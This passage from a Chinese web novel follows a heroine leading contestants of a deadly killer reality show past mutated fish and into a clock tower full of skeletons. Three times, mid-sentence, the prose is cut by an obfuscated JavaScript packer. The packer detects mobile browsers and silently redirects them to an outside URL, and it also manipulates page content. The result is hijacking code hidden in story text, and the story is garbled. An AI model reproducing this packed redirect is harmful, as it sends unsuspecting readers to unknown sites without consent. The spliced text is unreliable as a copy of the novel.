“一边一个眼睛，肯定不聚焦。”莫之臻在旁边插嘴道。 巫马莎一脸恍然大悟，青黛有点气又有点好笑，都这种时候了，这货在说什么冷笑话？ “这里不是聊天的地方，先躲起来再说。” 青黛一声令下，三个人轻手轻脚，鬼鬼祟祟地爬上了旁边的城楼，躲了起来。 巫马莎从城楼往下看，又发现了一个让她不解的问题：“为什么全是海洋生物啊？难道不该是变异的豺狼虎豹之类的吗？” 莫之臻说：“核污染并不是从核战争时开始的，史书记载，人类往海洋里排放核污水，是从二十一世纪20年代就开始了。所以，海洋生物的变异比陆地生物早很多，核战争不是导致它们变异的原因，而是给它们已经变异的身体提供了快速变异的新能源……” 听到这个，亲历者青黛简直义愤填膺，没忍住直接打断了莫之臻的话：“没错，就是2023年开始核污水排海的。” 莫之臻继续说道：“……所以我猜测，核冬天致使大部分陆地生物灭绝，少量存活下来并成功适应地表的陆地生物，应该是被高变异程度并上岸了的海洋生物当食物了。” 三个人并没躲多长时间，第二批选手就赶到了。 第二批选手的想法跟青黛一模一样，他们也鬼鬼祟祟地上了城楼，他们登顶时，被已经蹲在那里抠手指的三个人结结实实吓了一跳。 “你们也……”第二批选手尴尬地主动打了个招呼。 “是啊是啊。” “挺好挺好。” 紧接着是第三批，第四批……不到两小时，城楼上凑齐了大部分选手，大家局促地挤在一起，相互大眼瞪着小眼。 看着这个情景，青黛差点没憋住笑。 “我觉得，这么下去不是办法。”青黛低声跟莫之臻说道。 “那是肯定的啊，但问题是如何解决。”莫之臻一脸愁苦。 “或许咱们可以试试……人定胜天大法。” 青黛说罢站起身，找了个石台爬上去，对着所有选手喊道：“各位选手，我们现在没有武器，凭借个人是绝对无法平安地越过那群怪鱼顺利进城的……” 青黛话没说完，就被一个高大的男人打断了：“我看未必，不一定一个人就一定过不去。” “你听听你说的是人话吗？不抬杠会死啊？”巫马莎翻了那杠精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869614|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个白眼。 “你不能这么说，人家说不定真的可以用抬的杠撑竿跳过去呢。”莫之臻阴阳怪气道。 他的话引起了众人一阵哄笑。 那杠精见状，悻悻地撇了撇嘴，缩到一边不作声了。 青黛继续说：“我们没有补给，这么耗下去会饿死的。我提议，这个环节，大家不要各自为战了，应该团结起来共同过关，之后再各自继续。” 大家听罢都窃窃私语起来，有人赞成，有人反对，有人顾虑重重。 “谁知道你有没有什么私心？是你自己弱，过不去，想利用我们给你铺路吧？”一个非常强壮的选手很是不屑道。 “你很强吗？很强你怎么不敢冲过去？还跟我们躲在一起？”巫马莎现在像条护主的小狗，谁意图“袭击”青黛，她就咬谁。 “有些人就是这样的，本事不大，偏见不小。脑子不多，恶意不少。”莫之臻继续阴阳怪气道。 “但是，我们是杀手，玩的就是个人技巧，又不是军队，这么集体作战播出去会被人耻笑的。”有个一看就很守旧派的大叔提出了自己的疑虑。 “你在那些变异生物面前就是个鱼食，还个人技巧？花式作死还差不多。”巫马莎继续战斗着。 “一个杀手，说白了就是拿钱办事的屠夫，哪来的什么气节和名声。还被人耻笑？真拿自己当回事儿了。”青黛冷笑一声，“你家里不会还供奉着祖师爷之类的吧？” “不就是几条鱼吗？哪有你说得那么邪乎？”有人撇了撇嘴，还啐了一口，以表不屑。 莫之臻不再阴阳怪气了，他严肃起来说道：“那些鱼的咬合力和鲨鱼差不多，能轻松咬碎你的头盔和头骨；鳞片有穿山甲十几倍的强度，即便是枪也很难射穿；鱼尾上有共振感知系统，可以获取你的位置信息；协同作战水准类似狼群，会围追堵截，有战略战术。我不明白，你为什么会轻视它们？只因为你是人类？愚蠢的傲慢。” “你……”还没等那人反驳的话说出来，城楼下面传来一阵脚步声。 大家循声望去，不远处4个选手狂奔而来，看样子是之前走错方向的人终于找对了路。 “别跑！”有选手提醒他们道。 他们听不清，边继续奔跑边大声问：“什么？” “别跑！”更多人一起喊了起来。 那4人应该是听到了，停下了脚步，但显然已经晚了。 那群怪鱼像是嗅到血腥味的鲨，从城门口向着那4个选手快速移动而去。 本以为怪鱼的行进方式是跳跃——这种方式其实并不快，因为起跳降落再起跳这些动作相当耗费时间，也很耗费体力——但显然不是，对于距离较远的目标，怪鱼们采用的是一种近似蛇的行进方式——用鳞片推动自己前进。 怪鱼通过肌肉的收缩将腹部的鳞片竖起来，使鳞片的边缘与地面接触，形成一个个小的“抓握点”，接着通过身体肌肉的收缩，将这些抓握点依次推动身体向前。 这种前进方式，显然比跳跃更高效，更无声，更快速，也更恐怖。 那4个选手看着扑面而来的鱼群，直接被吓傻了，甚至还没来得及逃跑，就瞬间被鱼群淹没了。 很多选手转过头去，不忍心看眼前的场景，但血肉骨骼被尖牙啃食的声音，还是源源不断地传来，窜进每个人的耳道，搓磨着每个人的神经。 结果可想而知，海鲜们获得一顿大餐，真人秀折损4名选手。 机械音再次在大家耳边响起：“叮叮叮——此次死亡人数4人，总死亡人数9人，剩余人数99人，清点播报完毕。” 5. 废土逃杀5 一百年前，因为核战争灾害和次生灾害修建地下城九幽时，变异生物还仅仅是形态和DNA上的变化，比如腿更多，体型更大等。 但二十年前联邦修建天空城九霄时，变异生物已经开始有智慧了，它们会潜伏，会伪装，还会组团攻击。 十年前，变异生物入侵过一次九幽，它们躲进无人采矿车的矿砂里，跟着车进入了九幽，在负一层疯狂袭击和捕食人类。从那时起，离地表近的几层就被放弃了，人们纷纷搬到了更安全的下层，只有头铁的，胆子大和真穷的，还坚守在那里。 人类根本摸不清这些变异生物的进化速度和方向，或者说，根本不想摸清，人类害怕了。在变异生物面前，人类似乎忽然脆弱了起来，不再站在食物链顶端了，甚至都被打上了“人类无法战胜变异物种”的思想钢印。 青黛跟九幽土著是不一样的，她还抱有自信——她也恐惧这些怪物，但更相信人类的智慧。 或许，以弱胜强的基础就是要有盲目的自信。 此时，还活着的选手们此时沮丧极了，各个面如死灰——一方面是看着同赛死在眼前，并不是什么美妙的感受，而且死相凄惨至极；再者就是，这些鱼真的让人很绝望。 青黛在这个所有人最脆弱的时候，开始了第二轮游说：“你们想跟他们一个下场吗？或者，活活在地表被饿死？” 选择这个时机谈判并不人道，甚至残酷，但此时的选手们不需要柔软的态度，只需要更高的存活率。 “节目组应该不会放着我们不管吧？”有个人低声说道。 青黛冷笑道：“是什么让你们对他们抱有这么不切实际的幻想的？难道你们这么快就忘了，他们故意没有通知大家穿防护服，导致有几个选手一上来就死了。” “我加入，他妈的，我可不想这么憋屈地死在这个鬼地方。”有个男人松口了。 “我也加入。” “我也是。” …… 青黛开始制定和讲述自己的计划，内容极其简单粗暴—— 全部的人分为两组，A和B。 A组先当诱饵，负责引着鱼群跑开，B组的人就趁机往城里冲，能冲几个就冲几个。 然后B组当诱饵，负责引开鱼群，A组人再趁机往城里冲，也是能冲几个就冲几个。 引一次，冲几个，引一次，冲几个……一次一次，最终让所有人都进去。 “能行吗？”有人问道。 “我无法保证任何事，不信任我的，可以退出，自求出路。”青黛给出免责声明。 “那最后的人岂不是很危险？”有人反应过来这个规则的bug了。 “对，所以我来断后，但我一个人不够，我需要至少三个不怕死速度快胆子大的跟我一起。”青黛看着众人，说道。 大家一听，都沉默了。 这是杀手秀，来的人都是求名求利的，谁也不是来为了别人牺牲奉献的。 青黛其实想到了，但她多少对人性还是有点信心的。 “我去！”巫马莎和莫之臻同时站了出来，并且异口同声说道。 一个络腮胡壮汉站出来，单手把巫马莎拎了起来，塞回人群里，调笑道：“让你这个小孩子去，我们这群大人的脸往哪搁？我去！” “我怎么就不能去了？”巫马莎一脸不服。 “你腿太短，动作太慢。到时候还要照顾你，累赘。”莫之臻说道。 “你腿才短！你才是累赘！”火冒三丈的巫马莎跳起来飞踢莫之臻，但被其他选手直接凌空控住了。 青黛知道莫之臻这么说的目的是让小姑娘放弃，但这货真的是不会说话啊。 “我可以去，我的腿是义肢，带动力那种，速度比一般人快，还能跳得很高。”一个瘦高个的姑娘站了出来。 “可以。”青黛批准了姑娘的加入，转头问络腮胡：“请问大哥尊姓大名？” “沙天昊。”络腮胡十分豪迈地说道。 “我叫班宁。”姑娘跟着自我介绍。 此时，更多的人站了出来。 并不是每个人天生就是英雄，人心是需要鼓舞的，一旦有人开始壮烈，就会有人跟着不惧牺牲。 但青黛没有批准更多人加入，她就留了这四个：她自己，莫之臻，班宁和沙天昊。 “你们说，城里会不会也有这种怪鱼啊？”巫马莎忽然问道。 她的话像一阵飓风，掀起了所有人心中的惊涛骇浪——其实每个人都想到了，但每个人都不敢戳破，因为不想面对。 “不知道有没有别的变异生物，但这种鱼肯定没有。”青黛断然道。 “为什么？”有人问。 “没发现吗？这些鱼始终活跃在城门外，从不越界，刚才那个被吃掉的选手的小腿被撕扯下来，推到了城门内，到现在还在那放着呢，根本没鱼过去吃。” “为什么？”又有人问。 “导致一种生物不敢靠近一个区域，只有一个原因：那里有它们忌惮的另一种生物。”青黛斩钉截铁道。 她的话果然引起了恐慌，众人眼神中的惊恐不可掩饰——怪鱼已经很可怕了，怪鱼都怕的，必然不是善茬啊。 青黛对着众人继续道，“但我们没得选，不参与这个计划，就进不了城，进不了城就拿不到车票，拿不到车票就上不了回家的车。那就意味的在地表等死，这跟冲进去找死，只是死法不同而已。”她清了清嗓子，“所以，只能祈祷怪鱼害怕的东西其实没那么可怕。” “豁出去了！”众人异口同声。 行动开始了。 选手们完完全全按照青黛的部署开始进行交替引诱。 他们的断后四人组，开始并不进入活动范围，他们需要观察和保存体力。 开始还算顺利，那些鱼确实有点点智力，但比起食欲，它们的智力可以忽略不计——它们被选手们吊着从城门左边蹿到城门右边，再从城门右边蹿回城门左边。 反反复复，根本不停。 实际操作起来比青黛料想的效果还要好，每次都能进去三五个人。 很快的，城门外就剩下不到十个人了，断后小组上场了。断后小组跑了两趟，剩下的人就都进去了。 鱼群此时的速度慢了下来，不知道是意识到了什么，还是累了，总有几条很是不积极，卡在城门口“滞留”不动。 青黛决定改变战术，她跟莫之臻使了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869615|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个眼色，让他继续按照之前的套路行进，自己则是猛然冲到那几条“倦怠”的鱼前面，再往左猛冲三十米，莫之臻则是往右猛冲，俩人快速把鱼群拉成两波，让鱼群从中间破开一条通道。 “班宁和沙天昊，你们先进去！”青黛冲着他俩大喊道。 班宁以最快的速度往里蹿去，一跃而起，愣是从两条鱼的头顶跳了过去，但就在她几乎跳进门的一瞬间，鞋子卡在转头回来的怪鱼的尖牙上，她整个人掉了下来。 就在所有人都觉得班宁死定了的时候，沙天昊一脚踹在那条鱼的脸上，把鱼踹飞了，他拉起倒地的班宁，用尽全力把她甩进了门内，但，他自己却被鱼群快速吞噬了。 机械音如约而至：“叮叮叮——此次死亡人数1人，总死亡人数10人，剩余人数98，清点播报完毕。” 所有人都傻了眼，呆呆地看着鱼群的方向——大家对这场突如其来的死亡丝毫没有心理准备，尤其是这死亡是牺牲。 青黛此时愈发痛恨这个没人性的节目组——人可以为家国，为信仰而死，也可以为父母，为爱人，为朋友而死，甚至可以为了钱财或者工作而死，但不能为了一个娱乐节目而死，这个死法让青黛觉得憋屈极了。 但她没有时间愤怒，她还需要继续战斗。 “莫之臻你进去！悄悄走进去。”在鱼群左边离门很远的青黛冲着右侧离门比较近的莫之臻大喊道。 这是个千载难逢的机会，所有的鱼都在抢夺沙天昊的尸骸，没鱼会感知到有人此时经过。 “我怎么可能抛下你先走？”莫之臻都惊呆了，他没想到青黛竟然安排他先进去。 “你走！我自己有办法！”青黛说罢，猛跺了一脚地面，把没抢到肉的鱼全都吸引了过来。 莫之臻似乎不打算听安排，他正准备想办法把鱼再引走，结果被城门里面飞出了一个绳环套住，锁紧，旋即被大家齐心合力飞速拽了进去。 绳子是巫马莎在城门边的一间杂物间找到的，除了绳子，她还找到一些清洁工具和农具。 鱼们感知到莫之臻的动静扑上去时，他的脚刚好缩过了那条无形的边界。 鱼群不敢继续前进，纷纷转头，冲着青黛而去。 莫之臻看到鱼群的行动方向，想要挣脱绳索再次冲出城门去营救青黛，但巫马莎并没顺了他的意，她指挥选手们把莫之臻按住，捆了个结结实实。 “你们干什么？”莫之臻恼羞成怒，歇斯底里。 “你这样弄来弄去，只会给她找麻烦，说不定还会拖她后腿的。”巫马莎坚定地说道，“我相信她肯定有办法。” 莫之臻听完，似乎冷静了一点，但依然挣扎个不停。 此时的青黛很是狼狈地来回奔跑——她只有一个人，根本没人帮她吸引鱼群的注意力。 莫之臻见状挣扎得更厉害了，但被巫马莎用破布套住了头盔，强行给他关了视野，让他“眼不见为净”。 青黛明显累了，鱼群也累了，他们的速度都肉眼可见地慢了下来。 就在大家屏息凝视时，青黛忽然摔倒在地。 莫名其妙地，毫无征兆地，摔了。 鱼群兴奋了起来，冲着青黛飞扑去。 6. 废土逃杀6 就在其中最大的一条鱼的利齿几乎碰触到青黛时，她忽然翻身跳起，踩着那条鱼的脸，猛然往上一蹿。 半空中，青黛伸出手臂，以一种极高难度的姿势，抓住了正在拍摄她特写的节目组无人机的起落架。 大家都惊呆了，巫马莎瞪着眼珠子，默默拽掉了套着莫之臻头盔的破布，让他也见识见识眼前这个匪夷所思的场景。 无人机被青黛拽得猛然下坠，鱼们似乎也惊呆了，并没有袭击青黛，随着鱼群的刹那停滞，青黛双脚触地，猛然一蹬，推着无人机从鱼群间升了起来。 青黛的腰腹用力，弓起脊背，双脚攀住另一侧的起落架，头微微后仰，发丝被气流吹动地随风飞扬。 所有人和鱼都仰着头不可思议地看着青黛，像是在看一个奇迹。 无人机似乎准备甩掉青黛，它前后左右地抖动机身，动作很是利落与果决，但青黛像是焊死在起落架上似的，根本无法撼动。 这女人穿越前可是徒手抓着敌方直升机起落架飞过海峡还完好无损的人，这破无人机想甩掉她，根本不可能。 无人机“挣扎”了一会儿，似乎放弃了，不但放弃了，还把机身拉升起来，带着青黛到了一个绝对安全的高度。 态度转变之大让所有人瞠目结舌——之前还想把青黛甩下去喂鱼，怎么忽然就“英机救美”了？ 看着脚下冲着自己跳跃的呲牙咧嘴的鱼们，青黛松了口气，抬头对着无人机的摄像头使了个眼色。 远程遥控无人机的飞手瞬间就明白了青黛的用意，很是上道地操控着无人机把青黛送到了城内。 青黛飞过鱼群上空时，鱼们目送青黛的眼神充满了怨恨和震惊。不单鱼们震惊，选手们也很震惊——这是他们从未设想过的道路。 看着青黛安全落地，被捆着的莫之臻长长松了口气，挣扎地幅度都小了不少。 “节目组为什么会帮她？”巫马莎问莫之臻。 她觉得不可思议，按照这个节目组的调性，不落井下石就是开恩了，怎么可能选择帮助选手获救？ 这个节目组热爱死亡，热爱各种出其不意的死亡。 “因为她是英雄，她如果死在节目组手里，这个节目就完了。”莫之臻对巫马莎说道。 他猜对了，一开始无人机的飞手是要把青黛甩下去的，但很快被总导演汪泰初制止了。 汪泰初知道观众想看什么，自然知道节目组不能“杀了”这样一个选手。 观众喜欢看圣人变得堕落，浪子变得坚贞，也喜欢看坏人做好事，反派成英雄……自然喜欢看杀手舍己救人。 人们热衷于杀手秀，不单单是为了看杀戮和计谋，为了看智慧和力量，也是想在如此暗黑不见天日的社会泥潭里，找到人性的光辉。 节目组必须呈现观众想看的内容，才能收视长红。 青黛拖着疲倦的身体慢慢走了过来，她体能消耗太大，现在浑身上下都是软的。但她并没坐下休息，而是朝着一个方向走去，是班宁的方向。 此时班宁正对着沙天昊残骸的方向跪着，痛哭流涕地跪着。 兴奋的选手们瞬间安静了下来，纷纷聚拢到班宁身后，冲着沙天昊鞠躬，还有几个人低声抽泣了起来。 “刚才行动前，他跟我说，他干了一辈子为非作歹的事，第一次当英雄，很过瘾。”班宁跪坐地上，哭得不能自已，“可他却因为我死了。” “他不是因你而死，他是为了善念而死，这不一样。我相信换成这里任何一个人他都会这么做，别背负这种无意义的枷锁。”青黛轻轻抚了抚班宁的肩头，“如果你真的感激他，那就带着他的份，好好活着吧，别浪费了他的牺牲。” 此时，一阵疾风起，卷起沙尘漫天，模糊了所有人的视野，黄沙最终肃肃落下，埋住了沙天昊渣滓般的残骸，像给逝者遮上的一层纱，盖起了一座坟。 这场没有组织，没有亲友，没有祭品，没有悼词，甚至没有什么遗体的一无所有的葬礼，却又无比奢华和厚重——大部分人命如草芥，死就死了，而沙天昊是带着如此多的感恩和缅怀离开的，他死得掷地有声。 班宁最终擦干眼泪，站了起来——在这里，确实没什么时间给她蹉跎和悲伤。 “好了，就此时开始，大家散了吧。”青黛宣布了解散。 众人开始还有点犹豫，但很快就作鸟兽散了——总不能一直集体行动吧。本来就是来选秀的，一时间共渡难关没问题，结束后依然矫情就没意思了。 班宁冲着青黛点头示意后，也跟着众人离开了。 巫马莎蹦了过来，满脸骄傲：“我就知道你可以的！” “你们先把我松开！”莫之臻在地上扭动着身体喊道。 青黛冲巫马莎使了个眼色，巫马莎噘着嘴把莫之臻松开了。 莫之臻狼狈地爬起身，但没说什么——他有点尴尬，不知道该怎么面对青黛——差一点他就拖后腿了。 青黛这才抽空观察了一下林北城里的环境。 曾经的城市如今只剩下残垣断壁，高楼大厦的骨架在风沙的侵蚀下摇摇欲坠，钢筋水泥如扭曲的麻花般裸露在外，各种碎裂生锈的交通工具停在街头巷尾，在破败的现实中展示着这里曾经拥有的繁荣。 在远方的天际线处，隐隐约约能看到一些竖立着巨大烟囱的工厂废墟，那是旧世界工业文明的遗迹，如今却成为了废土世界荒凉的注脚。 “你们说，如果你们是节目组，你们会选择什么地方藏匿车票？”青黛看着远方问道。 “最危险的地方？”巫马莎说。 “最难想到的地方？”莫之臻猜测。 “我猜，是拍出来收视率最高的地方。”青黛笑了笑，转头看向莫之臻问道：“作为从一出生就在地下城，从未在地表生活过的人类，你最好奇地表的什么？” “日月星辰，森林草原，山川大海。”莫之臻眼神中全是向往。 青黛一脸“我就知道不该问你”的眼神道：“你说这些，地表现在也没有了，得去九霄才能看到。” 青黛在监狱的电子刊物上读到过——九霄完全悬浮在辐射烟霾层之上，看得到日月星辰，至于山川大海，森林草原这些，那些闲得蛋疼的有钱多到没处花的权贵们为了彰显自己的呼风唤雨和极高的审美品位，必然是搞了一些出来的。 当然，监狱刊物上对权贵们斥巨资造景的行为，肯定是大加赞赏的——话语权在他们手里，他们永远有办法美化自己的一切行为。 “要是我嘛……”巫马莎尝试畅想“假如我是一个普通人”。 但还没等她话说出来，就被青黛和莫之臻同时打断了：“没人问你的意见。” 一个杀手家族出来的道德观扭曲的养尊处优的大小姐关于普通人偏好的畅想，确实没必要听。 青黛低头又开始看地图，看了两眼，她一拍大腿，竟然笑起来。 “怎么了？”莫之臻把头探了过去。 “谜底就在谜面上啊。你看看地图上的标识有什么特别之处？”青黛指了指林北城的位置。 “地图上只有道路的名称，公共设施一个都没标注，除了一个地方……”莫之臻似乎也看出了端倪。 “对。”青黛指了指钟楼的位置。 “会不会因为钟楼是地标性古迹？”莫之臻问道，他觉得这个暗示也过于明显了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869616|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去看看不就知道了。”青黛说罢，交代莫之臻把巫马莎找到的那些破铜烂铁带上，说不定能派上用场。 莫之臻很是实在，在库房里翻出一个麻袋，把能装的全装上了。 青黛内心无比感慨，自己曾经那些手下若有莫之臻一半懂事勤快，自己得少操多少心啊。 三个人按照地图的只是，冲着钟楼的方向而去。 巫马莎蹦跳到青黛身边，拉着她的手臂问道：“姐姐，我一直想问来着，你为什么要参加这个真人秀啊？” “你猜。”青黛说。 “我猜是为了奖金。” “对。”青黛都不知道这个比赛还有奖金，她决定找个机会跟节目组好好聊一聊。 巫马莎继续说：“除了我以外，参加这个秀的人，要么想红想疯了，要么直接就是疯子，最正常的就是有什么巨大的金钱需求。我看你不疯，也不想红，又那么厉害，肯定是为了钱。” 青黛琢磨着，这小姑娘还挺会自圆其说。 “那你呢？为什么参赛？”巫马莎转头问莫之臻。 莫之臻也说：“你猜。” 巫马莎翻了个白眼：“算了，不想知道了。” “除了杀手秀，还有别的这种秀吗？”青黛问道。 “哪种？” “血腥暴力，没有底线，靠杀戮娱乐大众。”青黛尝试解释。 巫马莎说：“有啊，去年有个真人秀把一百个重刑犯扔到一个封闭的体育馆，不给任何食物和补给，全程直播他们相互残杀，最后都人吃人了。我反正没敢看。” 莫之臻道：“血色娱乐产业发展几十年了，什么暴力没底线的东西都有。这种杀手秀算是小清新了。” “搞这种逆天的真人秀，联邦不管吗？”青黛没忍住，问出了这句不属于这个世界道德观和价值观的问题。 巫马莎根本不理解青黛的意思：“那些叛军联邦都管不过来，管这些娱乐项目做什么？” 莫之臻似乎明白青黛的疑惑，解释道：“在暗世界播放而已，只要不明目张胆浮出水面，而且不断有钱上供，联邦就会睁一只眼闭一只眼。在地下城，人类是封闭而疯狂的，喜欢刺激。” “对，你根本不晓得这类节目的收视率有多高，堵池里的金额有多大。赢了的人简直就是众人追捧的明星，呼风唤雨那种，他们甚至拥有自己的宗教。”巫马莎感慨。 青黛知道这个世界尚武——自从地球被核平后，在一次一次的逃亡和重建中，之前尚文的世界彻底扭转了风向，变得全民武德充沛了起来，核爆前风靡的各种白幼瘦审美和魏晋遗风荡然无存，无论男女都开始推崇肌肉，力量和武力值。 她的原身应该就是个武力值爆棚的姑娘，肌肉状态和身体机能好的不得了，一看就是常年锻炼的结果。 但她没想到尚武到了这种程度，连罪犯和杀人狂都会被人疯狂追捧，奉为神明来崇拜。 这个废土世界简直太癫狂了，青黛感觉自己需要大量时间重塑三观。 三个人按照地图的标注，很快找到了钟楼的所在地。 钟楼是城里难得一见的没有被摧毁的建筑，砖石基础的三层结构，几乎完好地伫立在那。整体被风沙侵蚀得厉害，几乎已经看不出原本的色彩了，但最高一层挂着的大钟还依然完整。 如同大部分钟楼，主体为方形楼阁式建筑，飞檐斗拱，层层叠叠，错落有致，四角翘起，在这一片断壁残垣中，显得更为苍凉和悲戚。 青黛从不信鬼神，即便自己都穿越了，她也觉得是某种未知科学的力量，而不是玄学。 但此时此刻，她总觉得这个钟楼看起来十分邪门，让人不寒而栗。 7. 废土逃杀7 他们三个赶到钟楼时，已经有一些选手聚集在那里了，看样子大家都发现了地图里那很明显的暗示。 选手们看到青黛，眼神中都闪烁出一种复杂的情绪——有点亲切，又有点惧怕——杀手大多是慕强的，但又是竞争关系，所以这种复杂性可以理解。 班宁则是跟青黛礼貌地点了点头。 “你们怎么不进去？”青黛领导般亲切地问候大家道。 “没门。”大家回答。 “钟楼没门？这还挺特别的。”莫之臻感慨道。 “也不能说没门，而是门打不开。”班宁解释道。 “节目组这么不做人？”巫马莎不爽道，“连门都封了？” “不是他们干的，你去看看就知道了。”班宁说。 青黛绕到钟楼原本门洞的位置，巨大的斑驳的木门是被关死的，她用手推了推，又仔细观察了一下周围的各种痕迹，确定这门已经有些年头没被打开过了。 车票肯定在这里了，青黛心里有了判断——这是个杀手节目，不是侦探游戏，节目组肯定不会把谜题设置得太难。而眼前这个地方，十分符合一个节目的所有拍摄需求——地标建筑，有故事性，有文化气息，造型拍出来好看。 “门说不定能从里面打开。我先想办法上去吧。”青黛像是自言自语，又像在跟大家交代什么。 “不会又用无人机吧？”有选手调侃道。 无人机飞手大概是听到了这个玩笑，无比快速地拉开了无人机和青黛的距离，生怕再次被青黛利用。 这应激的动作引得大家一阵哄笑。 青黛十分不屑地斜了无人机一眼，拿出刚才巫马莎用来捆莫之臻的绳子，又抄起巫马莎找到的镐头，把镐头的头部从镐身上卸了下来，拴在绳子上，做成了一个简陋粗糙的两“齿”飞爪。 她握住飞爪的绳子，拉出一个合适的长度，看好角度，晃了两圈，试了试重量，最后手臂猛地一甩，飞爪在空中划过一道弧线，向着钟楼二楼疾飞而去。 “吭啷——”一声，镐头带着绳子拴在了柱子上。 青黛拽紧绳子，顺着就往上爬。 这工具和动作看得一众人目瞪口呆——武林高手啊？ 虽然现在是废土世界，文明毁灭，污染严重，资源极度不均衡，但科技也比青黛的世界先进非常多，当代人是完全依赖各种智能工具和装备进行所有行为的。 比如上城墙，他们想到的必然是单人飞行器，再不济也是什么弹跳发射装置，而不是一条绳子。青黛做出的这个飞爪，他们只在古代电视剧里见过，以为是艺术创作，压根没当真。 青黛爬上钟楼后，大家开始纠结—— “咱们也上去吗？”有人问道。 “等一等吧，她不是说了吗，门说不定能从里面打开，如果能打开，她会放我们进去。”一个胖子明显对攀爬这件事没什么信心。 “我也觉得应该等一等，万一……”那人说到一半戛然而止，他没说出来的话是：万一里面有怪鱼呢？ 莫之臻和巫马莎两人没搭理这些人，先后顺绳而上。小姑娘体重轻，跟个小猴子似的敏捷，三两下就上去了；莫之臻慢一点，他个子高体重大，速度没办法太快。 等这俩人上来后，发现青黛已经顺着楼梯下到了钟楼的底层，他俩赶紧也跟了下去。 底层一片漆黑，巫马莎下到了最后一个台阶时被绊倒了，一屁股坐在一个东西上，那东西发出“咔嚓”一下清脆的声音。 巫马莎打开头灯，发现被自己坐断的东西，是一具人体骸骨的大腿骨。 她打开头灯照了一圈，十分淡然地感慨道：“怎么这么多啊？” 那些白骨层层叠叠，四处都是，从姿势就能看出他们死前的局势有多么焦灼。 “你怎么不怕了？我还以为你会尖叫呢。”想到之前巫马莎看到怪鱼时那个花容失色的样子，青黛调侃她道。 “死了有什么可怕的，又不会咬人。”巫马莎撇撇嘴。 “你还真跟一般人不一样啊。”青黛笑了，不过想想也是，当杀手的，哪有怕死人的道理。 “那门能打开吗？”莫之臻问。 “不能。钟楼没了说不定那门都还在。”青黛说道。 莫之臻满头问号地打开了头灯，观察起门的状况来——青黛的话丝毫没有夸张的成分——那门不是被反锁了，而是被横七竖八的木板封死了，缝隙中塞满了填充物。估计外面淹水了都漏不进来一滴。 莫之臻感慨道：“也不知道他们当时在抵御什么，有什么在外面，竟然把门封成这个样子。” “无论生前抵御的是什么，之后都被吃干抹净了。而且骨架子都很完整，没有任何肢体被撕裂扯碎的痕迹，骨头表面连个齿痕都没，看样子吃他们的，不是豺狼虎豹这种靠撕咬猎物进食的动物。”青黛仔细看了看那些骨头，判断道。 “什么意思？”巫马莎感觉自己鸡皮疙瘩都起来了，“为什么不能是他们死后自己变成这样的？” “如果骨头是埋在土里的，尸体会被微生物分解，骨骼表面变得如此干净可以理解，但他们是暴露在如此干燥的环境中的。你们见过干尸吗？干尸上面肯定是有风干的皮肉的，但这个没有，只有干净到离谱的人骨。”青黛凑近了骨头，仔细看了看，“我吃鸡翅都吃不了这么干净。” “什么鸡翅？”巫马莎问道。 “没什么。”青黛忘了九幽居民吃的都是蛋白棒，鸡这种生物，大概只能在古生物学书本里看到。 而蛋白棒里蛋白质的来源，是虫子，人工饲养的，经过基因改造的大虫子。 但青黛对这种食物接受程度良好，因为她当年在雨林地区打仗时，吃过更恶心的东西。 “难道是什么成群结队的小微型生物吃的？食人蚁？变异蟑螂？”青黛百思不解。 “门封成这样了，你说的那些小微型生物，是从外面的墙上爬进来的？”莫之臻问道，“跟我们走的是一条路径？” “大概吧。”青黛若有所思道。 “你们别吓我啊！”巫马莎声音都尖了起来，“别分析了，赶紧找到车票早点离开这里啊。” “门打不开，外面那些选手怎么办？”莫之臻问道。 “去跟他们说一声，别等门了，让他们自己想办法。”青黛道。 莫之臻顺着楼梯回到二楼，把这个噩耗告诉了选手们，顺便贴心地把那条绳子打了死结，确保大家攀爬时不会松动。 然后，他在二楼转了一圈，发现了三个旧时期的消防设备箱，里面都配备着消防水管。他把消防水管这头固定好，那头放了下去，以供更多的人可以同时攀爬。不然几十个人排队爬一条绳子，效率太低了。 大家得知走门无望，也只能接受了爬墙的命运，纷纷排队顺着绳子和软管开始往上攀爬。 先爬上去的人也顺着他们三个的踪迹下到了底层，几十人在逼仄局促的空间里拥挤着翻找同一样东西，不是你踩我脚，就是我摸你手，全是各种误触，那些躺在地上的白骨都快被他们踩成骨灰了。 “不如，我建议，如果你们信得过我。你们都上去二层等着，我来找，这样太挤了！”青黛被他们挤得呼吸不畅脑仁疼。 “那肯定信得过啊！”众人异口同声，然后井然有序地开始撤离。 又经过一番仔细的排查 